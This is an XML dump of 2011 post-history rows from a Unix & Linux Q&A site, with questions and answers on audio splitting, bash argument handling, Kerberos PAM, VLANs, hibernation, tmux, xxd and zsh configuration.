  <row Id="29360" PostHistoryTypeId="5" PostId="11882" RevisionGUID="5887c2dd-a2d2-4eeb-8aff-70a86ba85206" CreationDate="2011-04-26T07:47:31.423" UserId="5770" Comment="a little bit more info" Text="If a directory contains an album encoded as one large .wv file and a .cue file, splitting the entire album into individual .flac tracks is a simple task:&#xD;&#xA;&#xD;&#xA;`$ cuebreakpoints foo.cue | shnsplit -o flac foo.wv`&#xD;&#xA;&#xD;&#xA;What I'd like to know is how to split a file where the names don't match up, e.g.: 'foobar.wv' and 'foo.cue'. If I attempt this I get this error message:&#xD;&#xA;&#xD;&#xA;    shnsplit: warning: none of the builtin format modules handle input file: [foobar.wv]&#xD;&#xA;    shnsplit: error: cannot continue due to error(s) shown above&#xD;&#xA;&#xD;&#xA;Do I need to alter the .cue file? Because simply renaming 'foobar.wv' to 'foo.wv' prior to splitting doesn't seem to work for me. Or is there something wrong with the `wavpack` package?&#xD;&#xA;&#xD;&#xA;PS: I didn't know how to tag this question properly. Sorry 'bout that.&#xD;&#xA;&#xD;&#xA;**Some more info**&#xD;&#xA;&#xD;&#xA;To be clear, I should point out that the text inside the .cue files points to the appropriate .wv files." />
  <row Id="29361" PostHistoryTypeId="2" PostId="12024" RevisionGUID="06885f80-0ce0-4298-b8c9-216fd6b07a82" CreationDate="2011-04-26T08:38:20.910" UserId="6167" Text="Normally, Kerberos would be integrated with PAM pam_krb5.so.  It will attempt to acquire a Kerberos ticket based on your username and the password you supply.  It can also use that to verify whether you are allowed to login, but that can be set to ignore if you just want the ticket.  It needs to be added as both an auth and a session module, probably also password if you plan to keep your Kerberos password in sync with your desktop.  If you plan to use Kerberos for verifying a user's login, you should also setup your keytab file at /etc/krb5.keytab with a key for host/hostname.example.com@EXAMPLE.COM replace hostname and example.com as appropriate for your environment." />
  <row Id="29362" PostHistoryTypeId="5" PostId="11379" RevisionGUID="ee34ba43-1b33-49e8-9b17-b8d79ccc6c6c" CreationDate="2011-04-26T08:39:09.740" UserId="3645" Comment="Included code" Text="Is it possible to refer to indexes in `$@`? I can't find any reference to use like the following anywhere in [GrayCat's wiki][1], and the [Advanced Scripting Guide][2] and [others][3] assign this to a different variable before modifying that instead.&#xD;&#xA;&#xD;&#xA;    $ echo ${@[0]}&#xD;&#xA;    -bash: ${@[0]}: bad substitution&#xD;&#xA;&#xD;&#xA;The goal is [DRY][4]: The first argument is used for one thing, and the rest for something else, and I'd like to avoid duplicating either the code to normalize, the `$@` array, or to create a separate function for this (although at this point it's probably the easiest way out).&#xD;&#xA;&#xD;&#xA;Clarification: The object was to modify the values of the *variable-length* `$@` to make [the code][5] easier to debug. The current version is a bit too hacky for my liking, although it works even for bizarre paths like&#xD;&#xA;&#xD;&#xA;    $'--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;\' \n'&#xD;&#xA;&#xD;&#xA;**Update**: Looks like this isn't possible. [The code][6] now uses both code and data duplication, but at least it works:&#xD;&#xA;&#xD;&#xA;    path_common()&#xD;&#xA;    {&#xD;&#xA;        # Get the deepest common path.&#xD;&#xA;        local common_path=&quot;$(echo -n &quot;${1:-}x&quot; | tr -s '/')&quot;&#xD;&#xA;        common_path=&quot;${common_path%x}&quot;&#xD;&#xA;        shift # $1 is obviously part of $1&#xD;&#xA;        local path&#xD;&#xA;    &#xD;&#xA;        while [ -n &quot;${1+defined}&quot; ]&#xD;&#xA;        do&#xD;&#xA;            path=&quot;$(echo -n &quot;${1}x&quot; | tr -s '/')&quot;&#xD;&#xA;            path=&quot;${path%x}&quot;&#xD;&#xA;            if [[ &quot;${path%/}/&quot; = &quot;${common_path%/}/&quot;* ]]&#xD;&#xA;            then&#xD;&#xA;                shift&#xD;&#xA;            else&#xD;&#xA;                new_common_path=&quot;${common_path%/*}&quot;&#xD;&#xA;                [ &quot;$new_common_path&quot; = &quot;$common_path&quot; ] &amp;&amp; return 1 # Dead end&#xD;&#xA;                common_path=&quot;$new_common_path&quot;&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;        printf %s &quot;$common_path&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/EnglishFrontPage&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internalvariables.html#ARGLIST&#xD;&#xA;  [3]: http://www.notesbit.com/index.php/scripts-unix/bash-script-passing-arguments-to-the-shell-script-unixlinux/&#xD;&#xA;  [4]: https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself&#xD;&#xA;  [5]: https://github.com/l0b0/tilde/commit/ca080f72af6f7c609060655ccaf8a8391bb382c3&#xD;&#xA;  [6]: https://github.com/l0b0/tilde/blob/master/.bash_aliases#L117" />
  <row Id="29363" PostHistoryTypeId="5" PostId="11379" RevisionGUID="8c488538-a1b7-4556-ab02-d1a676b6d83e" CreationDate="2011-04-26T08:55:40.963" UserId="3645" Comment="added 1157 characters in body" Text="Is it possible to refer to indexes in `$@`? I can't find any reference to use like the following anywhere in [GrayCat's wiki][1], and the [Advanced Scripting Guide][2] and [others][3] assign this to a different variable before modifying that instead.&#xD;&#xA;&#xD;&#xA;    $ echo ${@[0]}&#xD;&#xA;    -bash: ${@[0]}: bad substitution&#xD;&#xA;&#xD;&#xA;The goal is [DRY][4]: The first argument is used for one thing, and the rest for something else, and I'd like to avoid duplicating either the code to normalize, the `$@` array, or to create a separate function for this (although at this point it's probably the easiest way out).&#xD;&#xA;&#xD;&#xA;Clarification: The object was to modify the values of the *variable-length* `$@` to make [the code][5] easier to debug. The current version is a bit too hacky for my liking, although it works even for bizarre paths like&#xD;&#xA;&#xD;&#xA;    $'--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;\' \n'&#xD;&#xA;&#xD;&#xA;**Update**: Looks like this isn't possible. [The code][6] now uses both code and data duplication, but at least it works:&#xD;&#xA;&#xD;&#xA;    path_common()&#xD;&#xA;    {&#xD;&#xA;        # Get the deepest common path.&#xD;&#xA;        local common_path=&quot;$(echo -n &quot;${1:-}x&quot; | tr -s '/')&quot;&#xD;&#xA;        common_path=&quot;${common_path%x}&quot;&#xD;&#xA;        shift # $1 is obviously part of $1&#xD;&#xA;        local path&#xD;&#xA;    &#xD;&#xA;        while [ -n &quot;${1+defined}&quot; ]&#xD;&#xA;        do&#xD;&#xA;            path=&quot;$(echo -n &quot;${1}x&quot; | tr -s '/')&quot;&#xD;&#xA;            path=&quot;${path%x}&quot;&#xD;&#xA;            if [[ &quot;${path%/}/&quot; = &quot;${common_path%/}/&quot;* ]]&#xD;&#xA;            then&#xD;&#xA;                shift&#xD;&#xA;            else&#xD;&#xA;                new_common_path=&quot;${common_path%/*}&quot;&#xD;&#xA;                [ &quot;$new_common_path&quot; = &quot;$common_path&quot; ] &amp;&amp; return 1 # Dead end&#xD;&#xA;                common_path=&quot;$new_common_path&quot;&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;        printf %s &quot;$common_path&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Bounty goes to anyone who can get rid of the **duplication of code** to collapse duplicate slashes or **duplication of data** to hold `$1` and the other parameters, or both, while keeping the code a reasonable size and succeeding all the unit tests:&#xD;&#xA;&#xD;&#xA;    test &quot;$(path_common /a/b/c/d /a/b/e/f; echo x)&quot; = /a/bx&#xD;&#xA;    test &quot;$(path_common /long/names/foo /long/names/bar; echo x)&quot; = /long/namesx&#xD;&#xA;    test &quot;$(path_common / /a/b/c; echo x)&quot; = /x&#xD;&#xA;    test &quot;$(path_common a/b/c/d a/b/e/f ; echo x)&quot; = a/bx&#xD;&#xA;    test &quot;$(path_common ./a/b/c/d ./a/b/e/f; echo x)&quot; = ./a/bx&#xD;&#xA;    test &quot;$(path_common $'\n/\n/\n' $'\n/\n'; echo x)&quot; = $'\n/\n'x&#xD;&#xA;    test &quot;$(path_common --/-- --; echo x)&quot; = '--x'&#xD;&#xA;    test &quot;$(path_common '' ''; echo x)&quot; = x&#xD;&#xA;    test &quot;$(path_common /foo/bar ''; echo x)&quot; = x&#xD;&#xA;    test &quot;$(path_common /foo /fo; echo x)&quot; = x&#xD;&#xA;    test &quot;$(path_common $'--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;\' \n' $'--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;\' \n'; echo x)&quot; = $'--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;\' \n'x&#xD;&#xA;    test &quot;$(path_common /foo/bar //foo//bar//baz; echo x)&quot; = /foo/barx&#xD;&#xA;    test &quot;$(path_common foo foo; echo x)&quot; = foox&#xD;&#xA;    test &quot;$(path_common /fo /foo; echo x)&quot; = x&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/EnglishFrontPage&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internalvariables.html#ARGLIST&#xD;&#xA;  [3]: http://www.notesbit.com/index.php/scripts-unix/bash-script-passing-arguments-to-the-shell-script-unixlinux/&#xD;&#xA;  [4]: https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself&#xD;&#xA;  [5]: https://github.com/l0b0/tilde/commit/ca080f72af6f7c609060655ccaf8a8391bb382c3&#xD;&#xA;  [6]: https://github.com/l0b0/tilde/blob/master/.bash_aliases#L117" />
  <row Id="29364" PostHistoryTypeId="25" PostId="12021" RevisionGUID="0298f4ff-ef6b-4048-82d9-2631c3c57099" CreationDate="2011-04-26T09:09:10.720" Comment="http://twitter.com/#!/StackUnix/status/62805407613190144" />
  <row Id="29365" PostHistoryTypeId="4" PostId="12010" RevisionGUID="66ed19ad-fc53-4ece-96c6-bb514b8cfda2" CreationDate="2011-04-26T09:09:52.053" UserId="4949" Comment="Fixed the title to remove extraneous &quot; a &quot; " Text="Why does installing Debian from DVD download many packages?" />
  <row Id="29366" PostHistoryTypeId="24" PostId="12010" RevisionGUID="66ed19ad-fc53-4ece-96c6-bb514b8cfda2" CreationDate="2011-04-26T09:09:52.053" Comment="Proposed by 4949 approved by 885 edit id of 325" />
  <row Id="29367" PostHistoryTypeId="5" PostId="12023" RevisionGUID="60ad5586-0476-4aca-8fc5-00a5b08f8ef1" CreationDate="2011-04-26T09:11:27.537" UserId="4949" Comment="Slight clarification, additional thought." Text="Because the full debian distribution for even a single architecture now well exceeds seven DVDs, and the packages on each DVD are sorted by popularity, not by common theme. &#xD;&#xA;&#xD;&#xA;Every single installation manual strongly recommends installing from a minimal CD or USB image (100 MB or less, generally) and installing over the internet, or a local apt proxy if you have multiple systems to set up.&#xD;&#xA;&#xD;&#xA;In addition to that, the DVDs do not contain the latest versions of all packages -- security updates aren't automatically integrated into the DVD images until the next point release. Regenerating the entire image set (Remember there's roughly seven DVDs per architecture for a dozen or so actively supported architectures and you'll see why the development team prefers not to do live rebuilds every single time a package is updated.)" />
  <row Id="29368" PostHistoryTypeId="2" PostId="12025" RevisionGUID="00836c8b-290c-45e2-95dd-7ea9baab2e57" CreationDate="2011-04-26T09:34:30.540" UserId="6959" Text="I am using Fedora 14 (Laughlin) with GNOME 2.32.0. I have gconf-editor installed. In gconf-editor apps-&gt;nautilus-&gt;preference confirm_trash is enabled i.e., checked, also in nautilus file browser, home folder, Edit-&gt;Preference-&gt;Behaviour &quot;Ask before emptying the Trash or deleting files&quot; is checked. But I am not getting any confirm box while deleting any file or folder. I googled for the solution but came up with nothing. Is this a Bug? Is it solvable? Thank you." />
  <row Id="29369" PostHistoryTypeId="1" PostId="12025" RevisionGUID="00836c8b-290c-45e2-95dd-7ea9baab2e57" CreationDate="2011-04-26T09:34:30.540" UserId="6959" Text="Move to trash confirm box" />
  <row Id="29370" PostHistoryTypeId="3" PostId="12025" RevisionGUID="00836c8b-290c-45e2-95dd-7ea9baab2e57" CreationDate="2011-04-26T09:34:30.540" UserId="6959" Text="éfedoraàénautilusàétrashà" />
  <row Id="29371" PostHistoryTypeId="6" PostId="12025" RevisionGUID="5705d351-b00e-4f53-a378-1a20113fabd6" CreationDate="2011-04-26T09:36:05.413" UserId="1925" Comment="edited tags" Text="éfedoraàégnomeàénautilusàétrashà" />
  <row Id="29372" PostHistoryTypeId="2" PostId="12026" RevisionGUID="6ba35e03-2904-4ab1-b935-364a2eb12750" CreationDate="2011-04-26T09:36:41.437" UserId="6960" Text="http://blog.ine.com/2008/07/14/private-vlans-revisited/&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Did anyone tried private vlan's under Linux? Any experiences with it? My real question is that does anybody has howtos regarding this? &lt;br&gt;&#xD;&#xA;Thank you in anticipation!" />
  <row Id="29373" PostHistoryTypeId="1" PostId="12026" RevisionGUID="6ba35e03-2904-4ab1-b935-364a2eb12750" CreationDate="2011-04-26T09:36:41.437" UserId="6960" Text="Private VLAN's under Linux?" />
  <row Id="29374" PostHistoryTypeId="3" PostId="12026" RevisionGUID="6ba35e03-2904-4ab1-b935-364a2eb12750" CreationDate="2011-04-26T09:36:41.437" UserId="6960" Text="élinuxàénetworkingàésecurityà" />
  <row Id="29375" PostHistoryTypeId="2" PostId="12027" RevisionGUID="e3058ac9-c124-445a-add6-073ec1007e39" CreationDate="2011-04-26T09:48:28.880" UserId="3082" Text="I don't know what you mean by &quot;private&quot; VLAN's, but Linux does VLANs. The `ip` command from iproute2 can configure them. You do have to have a NIC and driver that supports it, but most do these days. " />
  <row Id="29376" PostHistoryTypeId="2" PostId="12028" RevisionGUID="a7cb92a6-3339-4e34-b4dc-781c73c8e8ac" CreationDate="2011-04-26T09:57:28.297" UserId="6960" Text="There are 2 linux distros on my pc: an ubuntu 10.04 and a fedora 14.&lt;br&gt;&#xD;&#xA;if I suspend e.g.: the ubuntu are there any chances that I can boot into Fedora? Or that's impossible because the suspend uses the memory? What about hibernation?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="29377" PostHistoryTypeId="1" PostId="12028" RevisionGUID="a7cb92a6-3339-4e34-b4dc-781c73c8e8ac" CreationDate="2011-04-26T09:57:28.297" UserId="6960" Text="2 distros/1 pc can i suspend one of them, then boot into the second one?" />
  <row Id="29378" PostHistoryTypeId="3" PostId="12028" RevisionGUID="a7cb92a6-3339-4e34-b4dc-781c73c8e8ac" CreationDate="2011-04-26T09:57:28.297" UserId="6960" Text="élinuxàébootà" />
  <row Id="29379" PostHistoryTypeId="2" PostId="12029" RevisionGUID="c838ec3c-8e3f-488b-81b4-b0f32b104912" CreationDate="2011-04-26T10:03:28.127" UserId="1925" Text="This cannot be done with suspend because of the RAM issue, **but it can be done with hibernate**.&#xD;&#xA;&#xD;&#xA;You will need to carefully setup your boot loader and make sure you aren't using any shared partitions (swap and wherever each kernel looks for the hibernate files).&#xD;&#xA;&#xD;&#xA;You can even take this farther than just linux distros. I have successfully had a mixed linux / windows environment where I could hibernate and come back to any OS.&#xD;&#xA;&#xD;&#xA;Practically speaking, virtualization has made my need for this obsolete. Using one primary OS, my need to test other distros or systems can be filled easily using VirtualBox without the hassle of partitioning and the brittleness that comes from everybody being able to touch the everybody else's stuff!" />
  <row Id="29380" PostHistoryTypeId="2" PostId="12030" RevisionGUID="4ffa2fd4-a480-44a0-94c4-ebec7ae904e9" CreationDate="2011-04-26T10:03:29.557" UserId="6960" Text="Does someone knows a good Howto how to fully encrypt a HDD (even the /boot!) with GRUB2?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Is it possible using fedora 14 or ubuntu 10.04?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks." />
  <row Id="29381" PostHistoryTypeId="1" PostId="12030" RevisionGUID="4ffa2fd4-a480-44a0-94c4-ebec7ae904e9" CreationDate="2011-04-26T10:03:29.557" UserId="6960" Text="Full disc encryption with GRUB2" />
  <row Id="29382" PostHistoryTypeId="3" PostId="12030" RevisionGUID="4ffa2fd4-a480-44a0-94c4-ebec7ae904e9" CreationDate="2011-04-26T10:03:29.557" UserId="6960" Text="élinuxàéencryptionàégrub2à" />
  <row Id="29383" PostHistoryTypeId="2" PostId="12031" RevisionGUID="d120eecb-6d24-4f56-a6b4-71de8afa651e" CreationDate="2011-04-26T10:07:16.233" UserId="6761" Text="Moving a file to Trash does not delete the file - it simply stores it in a folder named &quot;Trash&quot; - you can retrieve files moved there so you don't get a prompt checking if you want to delete them when moving them there (as you are simply storing them somewhere else in the filesystem, not deleting them).&#xD;&#xA;&#xD;&#xA;By selecting &quot;Ask before emptying Trash or deleting files&quot; you are setting a prompt when you actually delete them, either by emptying the trash, or by selecting the file and hitting &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Delete&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;So, no - it's not a bug, it's a feature." />
  <row Id="29384" PostHistoryTypeId="2" PostId="12032" RevisionGUID="5c033f29-01c0-4104-a587-cabcb8939a23" CreationDate="2011-04-26T10:25:46.943" UserId="898" Text="Is is possible to open a `new-window` with its working directory set to the one I am currently in. I am using *zsh*, if it matters." />
  <row Id="29385" PostHistoryTypeId="1" PostId="12032" RevisionGUID="5c033f29-01c0-4104-a587-cabcb8939a23" CreationDate="2011-04-26T10:25:46.943" UserId="898" Text="Create new-window with current directory in tmux" />
  <row Id="29386" PostHistoryTypeId="3" PostId="12032" RevisionGUID="5c033f29-01c0-4104-a587-cabcb8939a23" CreationDate="2011-04-26T10:25:46.943" UserId="898" Text="étmuxàéterminalömultiplexerà" />
  <row Id="29387" PostHistoryTypeId="2" PostId="12033" RevisionGUID="e6ac26ed-89d5-449f-ab92-7936b2e689dd" CreationDate="2011-04-26T10:41:44.220" UserId="2343" Text="`xxd` is a hex-dump utility shipped as part of the `vim-common` package  &#xD;&#xA;It has a handy `-p` option which outputs a continuous 'plain/postscript' hexdump style.. This can eaisly be reversed via `-r`... `-u` will output upper-case Hex-Digits.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;M&quot;|xxd -p    # 1 ASCII char= 1 UTF-8 byte; Unicode Codepoint: U+0041&#xD;&#xA;    4d&#xD;&#xA;    &#xD;&#xA;    $ echo -n &quot;〶1&quot;|xxd -p -u # 1 CJK char= 3 UTF-8 bytes; Unicode Codepoint: U+3036  &#xD;&#xA;    E380B6&#xD;&#xA;    &#xD;&#xA;    $ echo -n &quot;Dump a string&quot; |xxd -p -u  &#xD;&#xA;    44756D70206120737472696E67&#xD;&#xA;    &#xD;&#xA;    $ echo -n &quot;Dump and Revert&quot; |xxd -p |xxd -r  &#xD;&#xA;    Dump and Revert&#xD;&#xA; &#xD;&#xA;    E380B6" />
  <row Id="29388" PostHistoryTypeId="5" PostId="12033" RevisionGUID="9f4773be-8730-4d75-8b25-fc5e4e297feb" CreationDate="2011-04-26T10:46:48.117" UserId="2343" Comment="deleted 12 characters in body; added 1 characters in body" Text="`xxd` is a hex-dump utility shipped as part of the `vim-common` package  &#xD;&#xA;It has a handy `-p` option which outputs a continuous 'plain/postscript' hexdump style.. This can eaisly be reversed via `-r`... `-u` will output upper-case Hex-Digits.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;M&quot; |xxd -p    # 1 ASCII char= 1 UTF-8 byte; Unicode Codepoint: U+0041&#xD;&#xA;    4d&#xD;&#xA;    &#xD;&#xA;    $ echo -n &quot;〶&quot; |xxd -p -u # 1 CJK char= 3 UTF-8 bytes; Unicode Codepoint: U+3036  &#xD;&#xA;    E380B6&#xD;&#xA;    &#xD;&#xA;    $ echo -n &quot;Dump a string&quot; |xxd -p -u  &#xD;&#xA;    44756D70206120737472696E67&#xD;&#xA;    &#xD;&#xA;    $ echo -n &quot;Dump and Revert&quot; |xxd -p |xxd -r  &#xD;&#xA;    Dump and Revert&#xD;&#xA; " />
  <row Id="29389" PostHistoryTypeId="2" PostId="12034" RevisionGUID="295354fb-9e45-4d4c-9ad1-36124114736c" CreationDate="2011-04-26T11:25:58.787" UserId="6961" Text="I'm sure there's a million ways to do it, but I've used 'vconfig' to add vlans in the past.&#xD;&#xA;&#xD;&#xA;First add the vlan&lt;br&gt;&#xD;&#xA;'vconfig add eth0 123'&lt;br&gt;&lt;br&gt;&#xD;&#xA;Now you can configure the sub interface&lt;br&gt;&#xD;&#xA;'ifconfig eth0.123 ...'&lt;br&gt;&lt;br&gt;&#xD;&#xA;" />
  <row Id="29390" PostHistoryTypeId="5" PostId="12030" RevisionGUID="7fa45cc4-a91d-44c8-9ecf-9038b87f43c5" CreationDate="2011-04-26T11:57:52.570" UserId="1925" Comment="English fixes, formatting" Text="Does anyone know of a good Howto on how to fully encrypt a HDD (even the /boot!) with GRUB2?&#xD;&#xA;&#xD;&#xA;Is it possible using fedora 14 or ubuntu 10.04?" />
  <row Id="29391" PostHistoryTypeId="24" PostId="12030" RevisionGUID="7fa45cc4-a91d-44c8-9ecf-9038b87f43c5" CreationDate="2011-04-26T11:57:52.570" Comment="Proposed by 1925 approved by 29 edit id of 328" />
  <row Id="29392" PostHistoryTypeId="5" PostId="12028" RevisionGUID="27c186d7-564c-4b3a-94fe-b297a448abd2" CreationDate="2011-04-26T11:58:21.900" UserId="1925" Comment="Punctuation, capitalization" Text="There are 2 linux distros on my pc: an ubuntu 10.04 and a fedora 14.&#xD;&#xA;&#xD;&#xA;If I suspend e.g.: the ubuntu are there any chances that I can boot into Fedora? Or that's impossible because the suspend uses the memory? What about hibernation?" />
  <row Id="29393" PostHistoryTypeId="4" PostId="12028" RevisionGUID="27c186d7-564c-4b3a-94fe-b297a448abd2" CreationDate="2011-04-26T11:58:21.900" UserId="1925" Comment="Punctuation, capitalization" Text="2 distros/1 PC: can I suspend one of them, then boot into the second one?" />
  <row Id="29394" PostHistoryTypeId="24" PostId="12028" RevisionGUID="27c186d7-564c-4b3a-94fe-b297a448abd2" CreationDate="2011-04-26T11:58:21.900" Comment="Proposed by 1925 approved by 29 edit id of 327" />
  <row Id="29395" PostHistoryTypeId="5" PostId="12026" RevisionGUID="17a65e19-7424-41e3-b5ff-dabfb8f48bdd" CreationDate="2011-04-26T11:58:39.403" UserId="1925" Comment="Removed TIA per FAQ; Fixed some English bits" Text="http://blog.ine.com/2008/07/14/private-vlans-revisited/&#xD;&#xA;&#xD;&#xA;Has anyone tried private vlan's under Linux? Any experiences with them? My real question is does anybody have howtos regarding this?" />
  <row Id="29396" PostHistoryTypeId="24" PostId="12026" RevisionGUID="17a65e19-7424-41e3-b5ff-dabfb8f48bdd" CreationDate="2011-04-26T11:58:39.403" Comment="Proposed by 1925 approved by 29 edit id of 326" />
  <row Id="29397" PostHistoryTypeId="25" PostId="12032" RevisionGUID="fb81aef8-6483-4049-ae84-52a802c7cbe1" CreationDate="2011-04-26T12:09:10.730" Comment="http://twitter.com/#!/StackUnix/status/62850706696183808" />
  <row Id="29398" PostHistoryTypeId="17" PostId="12036" RevisionGUID="a6022762-0740-42ae-b0ff-e1caffe6eb18" CreationDate="2011-04-26T12:11:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/5708525/zsh-equivalent-of-bash-show-all-if-ambiguous/5723008#5723008" Text="" />
  <row Id="29399" PostHistoryTypeId="2" PostId="12036" RevisionGUID="a54aa1d3-91a3-4885-a1f8-1dcd31d84d1a" CreationDate="2011-04-19T21:36:18.470" UserId="885" Text="Zsh has a lot of [completion-related options](http://zsh.sourceforge.net/Doc/Release/Options.html#SEC103) (see `man zshoptions` under `Completion`). I think you're after `setopt no_auto_menu` and perhaps `setopt bash_auto_list` as well.&#xD;&#xA;" />
  <row Id="29400" PostHistoryTypeId="2" PostId="12035" RevisionGUID="10cecc19-4da2-43ab-8571-07a1664bf037" CreationDate="2011-04-18T20:30:10.073" UserDisplayName="user714112" Text="In bash, if you hit tab when there are multiple possible completions you get a list of matches that keeps reprinting if you repeatedly press tab. In tcsh, setting autocomplete to enhanced also achieves this.&#xD;&#xA;&#xD;&#xA;In zsh, you do get the list of matches, but on 2nd, 3rd tab press it starts cycling through matches. Is there a way to get zsh to do the equivalent of bash's show-all-if-ambiguous without the cycling?&#xD;&#xA;&#xD;&#xA;I'm not looking for the clever but useless &quot;why would you press tab several times if it displayed after the first?&quot;. If I had been able to adjust my habits I'd have done so by now." />
  <row Id="29401" PostHistoryTypeId="1" PostId="12035" RevisionGUID="10cecc19-4da2-43ab-8571-07a1664bf037" CreationDate="2011-04-18T20:30:10.073" UserDisplayName="user714112" Text="zsh equivalent of bash show-all-if-ambiguous?" />
  <row Id="29402" PostHistoryTypeId="3" PostId="12035" RevisionGUID="10cecc19-4da2-43ab-8571-07a1664bf037" CreationDate="2011-04-18T20:30:10.073" UserDisplayName="user714112" Text="étabsàézshà" />
  <row Id="29403" PostHistoryTypeId="17" PostId="12035" RevisionGUID="dd7683b4-2db8-4f8d-b50f-2510a37bf7f5" CreationDate="2011-04-26T12:11:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/5708525/zsh-equivalent-of-bash-show-all-if-ambiguous" Text="" />
  <row Id="29408" PostHistoryTypeId="17" PostId="12039" RevisionGUID="ebba54f2-8764-48d6-8ce8-9eeb8f4a0b3a" CreationDate="2011-04-26T12:12:09.417" UserId="-1" Comment="from http://stackoverflow.com/questions/5573158/can-i-highlight-the-current-prompt-line-in-zsh/5745257#5745257" Text="" />
  <row Id="29409" PostHistoryTypeId="2" PostId="12039" RevisionGUID="dd8508d7-8236-43d3-b790-4af9e49d951e" CreationDate="2011-04-21T14:09:18.987" UserDisplayName="Kwpolska" Text="Try setting RPROMPT to spaces.  The spaces count shall be the terminal width (minus the `#` and other characters.)" />
  <row Id="29410" PostHistoryTypeId="2" PostId="12038" RevisionGUID="79606780-b5d9-4f69-b92d-2df78f0de166" CreationDate="2011-04-06T21:26:41.087" UserDisplayName="unpluggd" Text="Is it possible to highlight (set a background colour) for the whole line of the prompt in `zsh`? In my emacs config I have the line on which the cursor sits a slightly different colour to the window background, which is a great visual aid. I'm wondering whether it's possible to do the same in my terminal/zsh prompt, so that it effectivly &quot;draws a line&quot; under everthing that's been run.&#xD;&#xA;&#xD;&#xA;I've tried setting `PROMPT='%{$bg[grey]%}# '` in my `.zshrc` but the highlight only extends as far as I type, not to the edge of the terminal.&#xD;&#xA;&#xD;&#xA;Is what I'm trying to achieve possible?" />
  <row Id="29411" PostHistoryTypeId="1" PostId="12038" RevisionGUID="79606780-b5d9-4f69-b92d-2df78f0de166" CreationDate="2011-04-06T21:26:41.087" UserDisplayName="unpluggd" Text="Can I highlight the current prompt line in zsh?" />
  <row Id="29412" PostHistoryTypeId="3" PostId="12038" RevisionGUID="79606780-b5d9-4f69-b92d-2df78f0de166" CreationDate="2011-04-06T21:26:41.087" UserDisplayName="unpluggd" Text="éterminalàézshà" />
  <row Id="29413" PostHistoryTypeId="17" PostId="12038" RevisionGUID="56c1c893-2016-4630-b310-8f1c4d9665e8" CreationDate="2011-04-26T12:12:09.417" UserId="-1" Comment="from http://stackoverflow.com/questions/5573158/can-i-highlight-the-current-prompt-line-in-zsh" Text="" />
  <row Id="29414" PostHistoryTypeId="2" PostId="12040" RevisionGUID="d72ff72c-6352-40ba-b9f7-199907dd67f4" CreationDate="2011-04-26T12:11:20.890" UserDisplayName="John" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have 2 questions.&#xD;&#xA;&#xD;&#xA;1. During Linux installation we specify memory space for 2 mount points - root and swap. Are there any other mount points created without the users notice? &#xD;&#xA;2. Is this correct - &quot;mounting comes into picture only when dealing with different partitions. i.e, you cannot mount say, /proc unless it's a different partition&quot;.&#xD;&#xA;" />
  <row Id="29415" PostHistoryTypeId="1" PostId="12040" RevisionGUID="d72ff72c-6352-40ba-b9f7-199907dd67f4" CreationDate="2011-04-26T12:11:20.890" UserDisplayName="John" Text="Mounting confusion" />
  <row Id="29416" PostHistoryTypeId="3" PostId="12040" RevisionGUID="d72ff72c-6352-40ba-b9f7-199907dd67f4" CreationDate="2011-04-26T12:11:20.890" UserDisplayName="John" Text="élinuxàémountà" />
  <row Id="29417" PostHistoryTypeId="17" PostId="12040" RevisionGUID="560f2380-8a6c-4889-a11e-1f0b16948093" CreationDate="2011-04-26T12:14:17.037" UserId="-1" Comment="from http://stackoverflow.com/questions/5790089/mounting-confusion" Text="" />
  <row Id="29418" PostHistoryTypeId="2" PostId="12041" RevisionGUID="818ef236-509c-4478-8afd-b213dc3f2a67" CreationDate="2011-04-26T12:20:23.667" UserId="1925" Text="1. Every linux distro has its own default partition arrangement; some of them use dozens of partitions, some just a single one. 3 and 4 are quite common arrangements (/boot, /, swap and /home). Some older layouts often had /var on a separate partition and extreme systems hnd everything in /var/* and /opt/* on separate partitions! The best generalization I can make in answer to your question is that **nothing in the unix world is done without the users notice or ability to change it**!&#xD;&#xA;1. You can mount things that are not partitions. For example /proc is not usually a partition, it is a pseudo filesystem provided by the kernel that allows you to read and write data about running processes as if they were files. You can also mount files (like ISO's) as if they were drives using a loopback device, bind mount folders to other places, and do various other ninja tricks." />
